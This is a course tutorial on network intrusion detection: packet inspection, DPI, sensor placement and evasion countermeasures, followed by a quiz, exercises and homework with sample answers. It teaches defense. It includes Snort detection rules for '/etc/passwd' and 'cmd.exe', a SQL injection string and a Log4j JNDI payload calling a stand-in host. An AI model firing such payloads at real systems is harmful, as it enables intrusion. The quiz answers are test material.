Tutorial 4.5: Network-Based Intrusion Detection Systems (NIDS)
π― Learning Objectives
After completing this tutorial, you should be able to:
- Define Network-Based Intrusion Detection Systems (NIDS) and their role in network security.
- Explain the key techniques: traffic analysis, packet inspection, and deep packet inspection (DPI).
- Describe how NIDS uses signatures and protocol analysis to detect attacks.
- Analyze the architecture of NIDS sensors and their placement in a network.
- Compare and contrast NIDS with HIDS in terms of visibility, detection, and deployment.
- Evaluate common evasion techniques (fragmentation, encryption, obfuscation) and countermeasures.
- Design a NIDS deployment strategy for a given network topology.
- Assess the challenges of NIDS in high-throughput and encrypted environments.
π Overview
In Tutorial 4.4, we explored Host-Based Intrusion Detection Systems (HIDS), which monitor activity on
individual hosts. We now shift our focus to the network perspective: Network-Based Intrusion
Detection Systems (NIDS). A NIDS monitors network traffic in real time, analyzing packets and
flows to detect malicious activity, policy violations, and attacks that traverse the network.
NIDS is a cornerstone of perimeter and internal network security. It provides visibility into the
communication patterns between hosts, enabling detection of network-based attacks such as port scans,
denial-of-service, worm propagation, command-and-control communications, and data exfiltration attempts.
While HIDS offers deep host-level visibility, NIDS offers broad, network-wide coverage, making the two
complementary in a defense-in-depth strategy.
This tutorial provides a comprehensive exploration of NIDS. We will begin with an introduction to NIDS
and its operational principles. We will then delve into traffic analysis, packet inspection, and
Deep Packet Inspection (DPI), which examines packet payloads beyond headers. We will
cover signature-based and anomaly-based detection in the NIDS context, focusing on how signatures are
crafted and how protocol analysis works. We will discuss network sensors, their placement, and the
different deployment architectures (passive tap, SPAN port, inline). We will also address the challenges
of evasion (fragmentation, encryption, obfuscation) and how modern NIDS counter them.
We will compare NIDS with HIDS, highlighting their complementary roles. Real-world case studies will
illustrate how NIDS can detect advanced attacks, such as the detection of C2 traffic and the identification
of botnets. By the end of this tutorial, you will have a solid understanding of how NIDS operates and
how to effectively deploy and tune it in a security monitoring architecture.
This content aligns with Stallings & Brown (2024), Chapter 8 and incorporates guidance from
NIST SP 800-94 and the SANS Institute.
1. Introduction to Network-Based IDS
1.1 Definition and Purpose
A Network-Based Intrusion Detection System (NIDS) is a system that monitors network
traffic for suspicious activity and alerts security personnel. It operates by capturing packets at
strategic points in the network, analyzing their headers and payloads, and comparing them against
known attack signatures or behavioral baselines. NIDS is a passive (or sometimes inline) system that
does not interfere with traffic flow (unless it is an IPS).
1.2 Key Functions
- Traffic monitoring: Capture and analyze packets in real-time.
- Attack detection: Identify known exploits, port scans, denial-of-service, and
malware communications.
- Protocol analysis: Verify compliance with protocol standards to detect anomalies
and crafted packets.
- Alerting: Generate alerts for suspicious events, often with severity levels.
- Logging: Record traffic for forensic analysis and compliance.
1.3 NIDS vs. NIPS
A Network Intrusion Prevention System (NIPS) is an extension of NIDS that is deployed
inline and can actively block or modify traffic to stop attacks. NIDS is passive (detect only), while
NIPS is active (detect and prevent). In this tutorial, we focus on the detection capabilities, but many
of the principles apply to both.
Key Takeaway: NIDS provides network-wide visibility into malicious activity, complementing
host-based monitoring and enabling detection of attacks that span multiple hosts.
2. Traffic Analysis and Packet Inspection
2.1 Traffic Analysis
Traffic analysis involves examining network traffic characteristics without necessarily inspecting the
packet payload. This includes:
- Flow data: Summaries of communication sessions (5-tuple: source IP, dest IP, source
port, dest port, protocol).
- Bandwidth utilization: Sudden spikes or drops.
- Connection patterns: Unusual numbers of connections, connections to uncommon
destinations.
- Protocol distribution: Unusual mix of protocols.
Flow-based analysis (e.g., NetFlow, sFlow) is often used for anomaly detection and to detect DDoS attacks
or data exfiltration.
2.2 Packet Inspection
Packet inspection involves examining the header and, optionally, the payload of individual packets.
There are three levels:
- Header inspection: Checking IP and transport layer headers for anomalies (e.g., invalid
flags, fragmentation, unusual TTL).
- Payload inspection: Searching for known attack patterns in the payload (e.g., buffer
overflow strings, shellcode).
- Stateful inspection: Tracking the state of connections to detect attacks that span
multiple packets.
2.3 Deep Packet Inspection (DPI)
Deep Packet Inspection is the most comprehensive form of packet inspection. It examines
the entire packet, including the application layer payload, to identify the application protocol and
detect content-based attacks. DPI can:
- Identify applications even if they use non-standard ports.
- Detect malicious payloads in web traffic, email, and file transfers.
- Enforce security policies based on application content.
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β PACKET INSPECTION LAYERS β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ€
β β
β βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ β
β β Application Layer (DPI) β β
β β (HTTP payload, SMTP commands, file content) β β
β βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ β
β β² β
β βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ β
β β Transport Layer (TCP/UDP headers) β β
β β (ports, flags, sequence numbers) β β
β βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ β
β β² β
β βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ β
β β Network Layer (IP headers) β β
β β (source/dest IP, TTL, fragmentation) β β
β βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ β
β β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
Figure 1: Packet Inspection Hierarchy
Key Takeaway: DPI provides the most detailed visibility, enabling detection of
application-layer attacks and policy violations, but it is computationally intensive.
3. Deep Packet Inspection (DPI)
3.1 How DPI Works
DPI goes beyond simple pattern matching; it performs:
- Protocol decoding: Understanding the application protocol (e.g., HTTP, SMTP, DNS)
to extract fields and commands.
- Content matching: Searching for malicious patterns (e.g., SQL injection, cross-site
scripting, malicious file signatures).
- Behavioral analysis: Observing sequences of packets to detect protocol violations
or abnormal behavior.
3.2 Applications of DPI
- Malware detection: Identifying known malware signatures in traffic.
- Data loss prevention (DLP): Detecting sensitive data (credit card numbers, SSNs)
in outbound traffic.
- Application identification: Detecting the use of specific applications (e.g., Skype,
BitTorrent) even on non-standard ports.
- QoS and traffic shaping: Prioritizing or throttling specific types of traffic.
3.3 Challenges of DPI
- Performance: DPI is CPU-intensive and can be a bottleneck in high-speed networks.
- Encryption: DPI cannot inspect encrypted payloads unless the encryption is terminated
and decrypted.
- Privacy: DPI raises privacy concerns as it inspects user data.
- Evasion: Attackers can obfuscate payloads (e.g., URL encoding, compression) to
evade DPI.
4. Traffic Signatures and Protocol Analysis
4.1 Signature-Based Detection in NIDS
Similar to HIDS, NIDS uses signatures to detect known attacks. However, NIDS signatures are specific
to network traffic patterns. A signature may include:
- Header patterns: Specific IP addresses, ports, flags, or TCP options.
- Payload patterns: Specific byte sequences (e.g., "/etc/passwd", "cmd.exe").
- Protocol anomalies: Deviations from RFC standards (e.g., SYN packet with no flags).
- Stateful patterns: Sequences of packets that indicate an attack (e.g., a series of
malformed requests).
4.2 Example Snort Signatures
Snort is a widely used open-source NIDS. Here is an example rule that alerts on an attempt to access
the web root directory using a directory traversal:
alert tcp $EXTERNAL_NET any -> $HOME_NET 80 (msg:"WEB-ATTACKS /etc/passwd access"; \
flow:to_server,established; content:"/etc/passwd"; http_uri; classtype:web-application-attack; sid:1001;)
This rule matches HTTP requests containing "/etc/passwd" in the URI.
4.3 Protocol Analysis
Protocol analysis involves verifying that traffic conforms to the specifications of the
protocol being used. This can detect:
- Invalid fields: For example, an IP packet with an invalid header length.
- Malformed commands: Unexpected or out-of-order commands in a protocol.
- State violations: Sending a command that is not allowed in the current protocol state.
Protocol analysis is a form of specification-based detection (as discussed in Tutorial 4.3) and is very
effective at detecting crafted packets that may evade signature detection.
Key Takeaway: Signatures and protocol analysis provide reliable detection for known
attacks and protocol violations, but they require regular updates and can be evaded by advanced adversaries.
5. Network Sensors and Deployment
5.1 Sensor Types
- Tap (passive): A hardware device that copies traffic without interfering. Often used
for high-speed links.
- SPAN port (Switch Port Analyzer): A switch configuration that mirrors traffic from
one or more ports to a monitoring port. Cost-effective but can drop packets under heavy load.
- Inline (active): The sensor is placed in the path of traffic (as in IPS). This
allows blocking but introduces latency and a single point of failure.
5.2 Sensor Placement Strategies
- Perimeter: Outside the external firewall to detect inbound threats (but may capture
a lot of noise).
- Inside the perimeter: After the firewall to detect attacks that have passed the
firewall.
- DMZ: To monitor traffic to and from public-facing servers.
- Internal segmentation: Between network segments (e.g., between finance and R&D) to
detect lateral movement.
- Near critical servers: To monitor database or application server traffic.
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β NIDS SENSOR PLACEMENT EXAMPLE β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ€
β β
β Internet β
β β β
β βΌ β
β βββββββββββ Sensor A (outside firewall) β
β βFirewall β β
β βββββββββββ β
β β β
β βΌ β
β βββββββββββ Sensor B (DMZ) β
β β DMZ β (web, mail servers) β
β βββββββββββ β
β β β
β βΌ β
β βββββββββββ Sensor C (internal boundary) β
β βInternal β β
β β Network β β
β βββββββββββ Sensor D (near critical servers) β
β β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
Figure 2: Example NIDS Sensor Placement
5.3 Performance Considerations
- Throughput: The sensor must be able to handle the link speed without dropping packets.
- Storage: Logs and captured packets require significant disk space.
- Latency: In inline deployments, latency must be minimized.
- Redundancy: For high availability, use failover sensors.
6. NIDS Detection Architecture
A typical NIDS deployment includes the following components:
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β NIDS ARCHITECTURE β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ€
β β
β βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ β
β β Management Console β β
β β (Configuration, Alert Viewer, Reporting, SIEM β β
β β integration, rule management) β β
β βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ β
β β² β
β β β
β βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ β
β β Sensors β β
β β βββββββββββββββββββββββββββββββββββββββββββββββββββββ β β
β β β β Packet capture (libpcap, PF_RING) β β β
β β β β Protocol decoders β β β
β β β β Detection engine (signature, anomaly, spec) β β β
β β β β Alerting engine β β β
β β βββββββββββββββββββββββββββββββββββββββββββββββββββββ β β
β βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ β
β β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
Figure 3: NIDS Architecture
- Packet Capture: Receives packets from the network interface (tap/SPAN).
- Protocol Decoders: Parse packet headers and payloads according to protocol specs.
- Detection Engine: Applies signatures, anomaly rules, and protocol analysis to detect
attacks.
- Alerting Engine: Generates alerts based on detection and forwards them to the
management console or SIEM.
7. Strengths and Limitations of NIDS
7.1 Strengths
- Network-wide visibility: Can monitor all traffic across a network segment.
- Early detection: Can detect attacks before they reach hosts.
- Independence from host OS: Does not require agents on every host.
- Detection of network-layer attacks: Port scans, DDoS, worm propagation.
- Forensic evidence: Can capture full packets for analysis.
7.2 Limitations
- Encrypted traffic: Cannot inspect payloads of encrypted sessions (TLS/SSL) without
decryption.
- High throughput requirements: May drop packets in high-speed networks.
- False positives: Can generate many alerts, requiring tuning.
- Evasion: Attackers can use fragmentation, encryption, and other techniques to
evade detection.
- Limited to network data: Cannot detect host-level activities like fileless malware
or local privilege escalation.
8. Evasion Techniques and Countermeasures
Attackers use various methods to avoid detection by NIDS. Common evasion techniques include:
- Fragmentation: Splitting attack payload into multiple small packets. Countermeasure:
Packet reassembly before inspection.
- Encryption: Using TLS/SSH to hide payload content. Countermeasure: SSL/TLS decryption
(if keys are available) or analyzing encrypted traffic metadata.
- Obfuscation: Encoding or transforming attack strings (e.g., URL encoding, hex encoding,
Base64). Countermeasure: Decoding and normalizing before signature matching.
- Polymorphism: Changing the attack pattern each time. Countermeasure: Anomaly detection
and behavioral analysis.
- Session splitting: Spreading an attack across multiple sessions. Countermeasure:
Stateful analysis that tracks sessions.
- Timing attacks: Sending packets at irregular intervals to avoid pattern thresholds.
Countermeasure: Anomaly detection with temporal analysis.
Modern NIDS/IPS incorporate reassembly, decoding, and stateful analysis to mitigate these evasion techniques.
However, advanced adversaries continue to find new ways to evade.
Key Takeaway: Evasion is a constant cat-and-mouse game; NIDS must be continuously updated
with new detection logic and combined with other security layers.
9. NIDS vs. HIDS: Integration
As discussed in Tutorial 4.4, NIDS and HIDS are complementary. The table below summarizes their roles:
| Aspect |
NIDS |
HIDS |
| Scope |
Network segment |
Individual host |
| Data source |
Network packets and flows |
Logs, file system, system calls, registry |
| Visibility |
Broad, but limited to network activity |
Deep, but limited to host |
| Detection examples |
Port scans, network-based exploits, C2 traffic |
Privilege escalation, fileless malware, insider data access |
| Encrypted traffic |
Limited (metadata only unless decrypted) |
Can inspect after decryption (if host has keys) |
| Deployment |
Sensors at network chokepoints |
Agents on each host |
| Evasion |
Vulnerable to fragmentation, encryption |
Vulnerable to rootkits |
Table 1: NIDS vs. HIDS Comparison
In a comprehensive security monitoring program, NIDS and HIDS are used together. Alerts from both are
correlated in a SIEM to provide a holistic view of an attack. For example, a NIDS might detect an
exploit attempt, while a HIDS on the target host detects the resulting privilege escalation.
10. Real-World Case Studies
10.1 Case Study: Detection of C2 Traffic in a Financial Institution
A financial institution deployed NIDS with both signature and anomaly detection. One day, the NIDS
flagged an unusual pattern of outbound DNS queries from an internal server: the queries had long,
subdomain strings that looked like encoded data. This was a signature of DNS tunneling (a technique
used for C2 and data exfiltration). The security team investigated and discovered that a server had
been compromised and was using DNS tunneling to send data to a remote attacker. The NIDS detection
enabled rapid containment.
10.2 Case Study: Evasion Attempt via Fragmentation
A penetration tester attempted to exploit a vulnerable web server by sending a buffer overflow payload
split across multiple fragmented IP packets. The NIDS was configured with packet reassembly, which
reconstructed the fragmented packets before signature matching. The attack was detected and logged,
demonstrating the importance of stateful reassembly.
10.3 Case Study: Ransomware Detection via DPI
A healthcare organization was hit by a ransomware attack that used SMB to propagate. The NIDS had
signatures for SMB-based exploits (e.g., EternalBlue). The NIDS detected the exploit attempts and
alerted the security team before the ransomware spread to other hosts. The organization isolated the
infected host and prevented a major incident.
Key Takeaway: NIDS provides essential network visibility, but it must be combined with
HIDS and other controls to achieve comprehensive detection.
π Summary
This tutorial provided a comprehensive exploration of Network-Based Intrusion Detection Systems (NIDS).
We defined NIDS as a system that monitors network traffic to detect malicious activity, operating
either passively or inline. We examined the key techniques: traffic analysis (flow-based), packet
inspection (header and payload), and Deep Packet Inspection (DPI), which examines
application-layer data for content-based threats.
We discussed how NIDS uses signatures, protocol analysis, and anomaly detection to identify attacks,
with examples of Snort rules. We explored sensor types (tap, SPAN, inline) and placement strategies
to maximize visibility while minimizing performance impact. We also covered the architecture of a
typical NIDS, including packet capture, decoders, detection engines, and alerting.
We compared NIDS with HIDS, highlighting their complementary strengths: NIDS provides broad network
coverage, while HIDS offers deep host visibility. We also discussed evasion techniques (fragmentation,
encryption, obfuscation) and the countermeasures that modern NIDS employ. Real-world case studies
illustrated the practical value of NIDS in detecting C2 tunnels, thwarting ransomware, and evading
fragmentation attacks.
The overarching message is that NIDS is an indispensable component of a defense-in-depth strategy,
providing critical visibility into network activity that complements host-based monitoring. However,
NIDS is not a silver bullet; it must be properly tuned, updated, and integrated with other security
controls to be effective.
Next: In Tutorial 4.6, we will build on this foundation and explore Intrusion
Prevention Systems (IPS), which add active blocking capabilities to NIDS.
π Quiz
1. What is the primary function of a Network-Based Intrusion Detection System (NIDS)?
- A. Block malicious network traffic
- B. Monitor network traffic and generate alerts for suspicious activity
- C. Encrypt network traffic
- D. Manage network routing
Answer
B. Monitor network traffic and generate alerts for suspicious activity.
2. Deep Packet Inspection (DPI) differs from basic packet inspection because DPI:
- A. Only inspects packet headers
- B. Inspects the application-layer payload and understands protocols
- C. Is faster than basic inspection
- D. Does not require signature updates
Answer
B. Inspects the application-layer payload and understands protocols.
3. Which of the following is NOT a common sensor deployment mode for NIDS?
- A. Tap
- B. SPAN port
- C. Inline
- D. Agent-based
Answer
D. Agent-based is typical for HIDS, not NIDS.
4. A Snort rule that looks for the string "cmd.exe" in an HTTP request is an example of:
- A. Anomaly detection
- B. Protocol analysis
- C. Signature-based detection
- D. Behavioral analysis
Answer
C. Signature-based detection.
5. What is the main limitation of NIDS when dealing with encrypted traffic?
- A. It cannot inspect the payload, only metadata
- B. It cannot detect any attacks
- C. It requires expensive hardware
- D. It generates too many false positives
Answer
A. It cannot inspect the payload, only metadata.
6. An attacker splits an attack payload across multiple small IP packets. This evasion technique is called:
- A. Encryption
- B. Fragmentation
- C. Obfuscation
- D. Polymorphism
Answer
B. Fragmentation.
7. Which NIDS component is responsible for parsing packet headers and payloads according to protocol specifications?
- A. Packet capture
- B. Protocol decoder
- C. Detection engine
- D. Alerting engine
Answer
B. Protocol decoder.
8. Which of the following is a strength of NIDS over HIDS?
- A. Detects insider file access
- B. Provides network-wide visibility
- C. Detects fileless malware
- D. Requires no network changes
Answer
B. Provides network-wide visibility.
9. A NIDS sensor placed inside the network perimeter (after the firewall) is primarily used to:
- A. Detect external attacks before they reach the firewall
- B. Detect attacks that have already passed the firewall
- C. Block all traffic
- D. Monitor internal DNS queries only
Answer
B. Detect attacks that have already passed the firewall.
10. Protocol analysis in NIDS is a form of:
- A. Signature-based detection
- B. Anomaly-based detection
- C. Specification-based detection
- D. Hybrid detection
Answer
C. Specification-based detection (since it enforces protocol compliance).
11. Which of the following is a common challenge with DPI in high-speed networks?
- A. Inability to detect known attacks
- B. High CPU and memory consumption
- C. Difficulty in defining signatures
- D. Lack of support for IPv6
Answer
B. High CPU and memory consumption.
12. In a comprehensive security architecture, NIDS and HIDS should be:
- A. Deployed independently with no correlation
- B. Used as replacements for each other
- C. Integrated with SIEM for correlation and holistic detection
- D. Deployed only in perimeter networks
Answer
C. Integrated with SIEM for correlation and holistic detection.
π οΈ Exercises
Exercise 1: Signature Development Intermediate
You are tasked with writing a Snort rule to detect an attempted SQL injection attack in HTTP GET requests. The attack string is: ' OR '1'='1 (URL-encoded as %27%20OR%20%271%27%3D%271). Write a rule that matches this pattern in the URI, and discuss any potential false positives or evasion risks.
Sample Solution
Rule: alert tcp $EXTERNAL_NET any -> $HOME_NET 80 (msg:"SQL Injection Attempt"; content:"%27%20OR%20%271%27%3D%271"; http_uri; sid:1002;)
Discussion: This rule will alert on any HTTP URI containing the encoded string. False positives may occur if the string appears in legitimate URLs (e.g., in documentation). Evasion: attackers may use different encoding or double encoding, or they may split the payload across multiple packets. To improve, use uricontent normalization and consider using a generic regex for SQL injection keywords.
Exercise 2: NIDS Placement Analysis Intermediate
Given the network diagram: Internet β Firewall (with DMZ) β Core Switch β Internal LAN (subnets: Finance, HR, R&D). There is also a cloud VPC connected via VPN. Recommend NIDS sensor placements, justifying each. Discuss which type of sensor (tap, SPAN, inline) you would use at each location.
Sample Solution
Placement:
- Outside firewall (or just inside): Tap (high-speed) to detect external threats.
- DMZ: SPAN port to monitor web/mail servers.
- Internal core switch: SPAN or tap to monitor east-west traffic between subnets.
- VPN gateway: Tap to monitor remote access and cloud connectivity.
- Critical server subnets (e.g., Finance): Inline IPS for active protection (if latency is acceptable).
Exercise 3: Evasion Scenario Advanced
An attacker wants to bypass a NIDS that uses signature-based detection for a known exploit. Describe three evasion techniques the attacker could use, and for each, explain how a modern NIDS can counter it.
Sample Solution
- Fragmentation: Split the exploit payload into multiple packets. Countermeasure: Packet reassembly before inspection.
- URL encoding/obfuscation: Use different encoding schemes (e.g., double URL encoding, hex, Unicode). Countermeasure: Normalize and decode before signature matching.
- Encryption: Use TLS to hide the payload. Countermeasure: Perform SSL/TLS decryption (if keys available) or rely on metadata analysis and anomaly detection on encrypted traffic.
Exercise 4: DPI Policy Design Intermediate
An organization wants to use DPI to detect data exfiltration of credit card numbers (CCNs) in outbound traffic. The CCN pattern is 16 digits, typically grouped as 4-4-4-4 or in a continuous string. Describe how DPI can be configured to detect CCNs in HTTP POST requests, email, and FTP. Discuss challenges and potential false positives.
Sample Solution
Configuration: Use regular expressions to match patterns like \d{4}-\d{4}-\d{4}-\d{4} or \d{16}. Apply to outbound traffic on common ports (80, 443, 25, 21). Use protocol decoders to extract the payload fields for each protocol.
Challenges: Encrypted traffic (TLS) blocks DPI; attackers may obfuscate CCNs with spaces or text; false positives from test data or legitimate use (e.g., an employee sending their own card to a shopping site).
Exercise 5: Integrating NIDS and HIDS Advanced
Describe a multi-stage attack scenario where both NIDS and HIDS are needed to fully detect and respond. For each stage, specify which system (NIDS or HIDS) would detect it and what the alert would look like. Then, explain how a SIEM would correlate these alerts to form a coherent incident.
Sample Solution
Scenario: Attacker sends a phishing email with a malicious attachment (not detected by NIDS unless it inspects email). User opens it, and a backdoor downloads a beacon (NIDS detects the outbound C2 connection to an unknown IP). The backdoor then attempts to escalate privileges by exploiting a local vulnerability (HIDS detects the privilege escalation via system call monitoring). Then, the attacker moves laterally using SMB (NIDS detects SMB exploitation attempts). Finally, data is exfiltrated via HTTPS (NIDS detects large outbound traffic to an external IP).
Correlation: SIEM would gather alerts from NIDS (C2, SMB exploit, exfiltration) and HIDS (privilege escalation) and create a timeline. The correlation identifies the compromised host and the attack progression, enabling a coordinated response.
π Homework
Homework 1: Research and compare three open-source NIDS/IPS solutions: Snort, Suricata, and Zeek (formerly Bro). Write a 1,500-word report comparing their architecture, detection capabilities, performance, and suitability for different use cases. Include an analysis of their support for DPI, multi-threading, and protocol decoding.
Sample Answer
Key points: Snort (single-threaded, signature-based, widely used); Suricata (multi-threaded, supports GPU, modern rule format); Zeek (scriptable, focuses on network analysis and protocol logs, not signature-heavy). Discuss performance benchmarks, ease of use, and community support.
Homework 2: Install Suricata or Snort on a virtual machine or in a lab. Configure it to monitor a network interface and generate alerts for at least three different attack types (e.g., port scan, web attack, SMB exploit). Use a tool like nmap or Metasploit to generate test traffic. Write a lab report documenting the setup, rules, test cases, and alert analysis. Include screenshots.
Sample Answer
This is a practical assignment. The report should include installation steps, configuration (e.g., rules, interfaces), traffic generation, and analysis of the alerts. Discuss tuning and any issues encountered.
Homework 3: Write a critical analysis (1,500 words) of the challenges of NIDS in cloud and containerized environments. Discuss how traditional NIDS assumptions (e.g., physical network tap, fixed IP addresses) break down, and propose solutions (e.g., virtual TAPs, agent-based network monitoring, eBPF-based sensors).
Sample Answer
Key arguments: In cloud, traffic is virtualized, and east-west traffic may not traverse a physical tap. Containers have dynamic IPs and short lifetimes. Solutions: use virtual appliances (e.g., AWS Traffic Mirroring), agent-based network monitoring on hosts, and eBPF for deep visibility without a tap.
Homework 4: Design a NIDS/IPS deployment plan for a large enterprise with multiple data centers, cloud presence, and remote sites. Include sensor placement, high availability, performance requirements, integration with SIEM, and a strategy for handling encrypted traffic. Justify your choices with reference to industry best practices.
Sample Answer
Outline: Place sensors at data center perimeters, cloud VPC boundaries, remote site VPN concentrators, and internal segment boundaries. Use high-performance appliances (e.g., with FPGA/ASIC). For encrypted traffic, use SSL decryption at the perimeter with proper policy and privacy controls. Integrate with SIEM for correlation and with SOAR for automated response.
Homework 5: Investigate a recent high-profile attack (e.g., Log4j exploitation, ProxyLogon, or a ransomware campaign) and analyze how NIDS could have been used to detect the attack. Write a case study that includes the attack details, the network signatures that could have been used, and any limitations of NIDS in that scenario. Provide recommendations for improving detection.
Sample Answer
Example: Log4j exploitation β Attackers sent crafted JNDI lookups in HTTP headers (e.g., ${jndi:ldap://malicious.com/exploit}). NIDS with DPI could have detected this pattern in headers and URIs. However, if the traffic was encrypted (HTTPS) and the organization did not decrypt, NIDS would not see the payload. Recommendations: implement TLS decryption, use application layer inspection, and deploy IPS with signatures for Log4j.
COMP400 β Computer and Network Security (Revision 3) • Unit 4: Security Systems and Models